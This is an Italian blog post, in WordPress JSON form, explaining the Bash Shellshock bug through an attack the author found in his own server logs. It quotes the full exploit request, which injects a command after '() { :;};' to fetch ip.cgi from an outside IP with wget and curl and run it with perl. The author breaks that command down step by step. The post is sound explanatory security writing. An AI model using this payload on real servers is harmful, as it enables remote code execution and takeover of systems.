{"id":732,"date":"2015-01-14T07:39:02","date_gmt":"2015-01-14T07:39:02","guid":{"rendered":"http:\/\/www.budus.it\/Blog\/?p=732"},"modified":"2015-01-14T07:39:02","modified_gmt":"2015-01-14T07:39:02","slug":"shellshock-bug-nella-bash","status":"publish","type":"post","link":"https:\/\/www.budus.it\/Blog\/shellshock-bug-nella-bash\/","title":{"rendered":"Shellshock: Bug nella Bash"},"content":{"rendered":"

La famigerata\u00a0Shellshock\u00a0<\/strong>, anche conosciuta come\u00a0Bashdoor\u00a0<\/strong>, \u00e8 una\u00a0famiglia di problemi di sicurezza\u00a0<\/em>presente nell’ampiamente utilizzata Shell UNIX\u00a0Bash<\/em><\/strong>\u00a0<\/em>dove, il primo buco rilevato, \u00e8 stato evidenziato a partire dal 24 Settembre 2014.<\/p>\n

Numerosi servizi internet, come ad esempio i Web Servers, utilizzano\u00a0Bash<\/em><\/strong>\u00a0<\/em>per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale malintenzionato di eseguire codice malevolo in remoto.
\n<\/em><\/p>\n

Si tratta di un problema estremamente grave perch\u00e9 consente ad un\u00a0cracker\u00a0<\/em>di ottenere l’accesso e i privilegi di amministratore sul sistema attaccato, con tutti i problemi che ne conseguono.<\/p>\n

Il bug in questione consente di eseguire un comando di sistema nel momento in cui lo si va a concatenare alla fine di una definizione di funzione salvata all’interno di una variabile d’ambiente.<\/p>\n

Di questo gravissimo problema ho letto alcuni mesi fa e solo oggi (14\/01\/2015) un sito che amministro – e di cui controllo frequentemente i logs – risulta aver subito un attacco, eccolo:<\/p>\n

\"GET\u00a0\/cgi-bin\/test.cgi\u00a0HTTP\/1.0\" 404 940 \"-\" \"() { :;}; \/bin\/bash -c \\\"cd \/var\/tmp ; wget http:\/\/185.56.60.83\/ip.cgi ; curl -O http:\/\/185.56.60.83\/ip.cgi;perl ip.cgi;perl \/var\/tmp\/ip.cgi\\\"\"<\/pre>\n
L’attaccante – che, nel caso specifico, risulta provenire dall’Olanda – cerca si sfruttare la presenza del file “test.cgi” e di passargli la definizione di una funzione vuota prima:<\/p>\n
() { :;};<\/pre>\n
e, successivamente, gli accoda questo comando:<\/p>\n
\/bin\/bash -c \\\"cd \/var\/tmp ; wget http:\/\/185.56.60.83\/ip.cgi ; curl -O http:\/\/185.56.60.83\/ip.cgi;perl ip.cgi;perl \/var\/tmp\/ip.cgi\\\"<\/pre>\n
che possiamo – per chiarezza – scomporre in pi\u00f9 righe:<\/p>\n
cd \/var\/tmp\r\nwget http:\/\/185.56.60.83\/ip.cgi\r\ncurl -O http:\/\/185.56.60.83\/ip.cgi\r\nperl ip.cgi\r\nperl \/var\/tmp\/ip.cgi<\/pre>\n
dove viene:<\/p>\n
    \n
  1. Resa corrente la cartella “\/var\/tmp”.<\/li>\n
  2. Scaricato un CGI (“ip.cgi”) sia con il metodo “WGET” che “CURL” (uno dei due andr\u00e0 !)<\/li>\n
  3. Lanciata l’esecuzione tramite PERL .<\/li>\n<\/ol>\n
    Nel momento in cui scrivo non ho la possibilit\u00e0 di scaricarmi il CGI per analizzarne il contenuto, ma intendo farlo appena possibile.<\/p>\n
    E’ immaginabile che il suo scopo sia tutt’altro che amichevole ma, la cosa che pi\u00f9 mi ha incuriosito, \u00e8 la modalit\u00e0 con la quale sia possibile bucare un web server, veramente inquietante.<\/p>\n","protected":false},"excerpt":{"rendered":"
    La famigerata\u00a0Shellshock\u00a0, anche conosciuta come\u00a0Bashdoor\u00a0, \u00e8 una\u00a0famiglia di problemi di sicurezza\u00a0presente nell’ampiamente utilizzata Shell UNIX\u00a0Bash\u00a0dove, il primo buco rilevato, \u00e8 stato evidenziato a partire dal 24 Settembre 2014. Numerosi servizi internet, come ad esempio i Web Servers, utilizzano\u00a0Bash\u00a0per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale … Leggi tutto “Shellshock: Bug nella Bash”<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[48,25,193],"tags":[176,218,217],"class_list":["post-732","post","type-post","status-publish","format-standard","hentry","category-internet","category-operating-system","category-security","tag-bash","tag-bashdoor","tag-shellshock"],"_links":{"self":[{"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/posts\/732","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/comments?post=732"}],"version-history":[{"count":2,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/posts\/732\/revisions"}],"predecessor-version":[{"id":734,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/posts\/732\/revisions\/734"}],"wp:attachment":[{"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/media?parent=732"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/categories?post=732"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.budus.it\/Blog\/wp-json\/wp\/v2\/tags?post=732"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}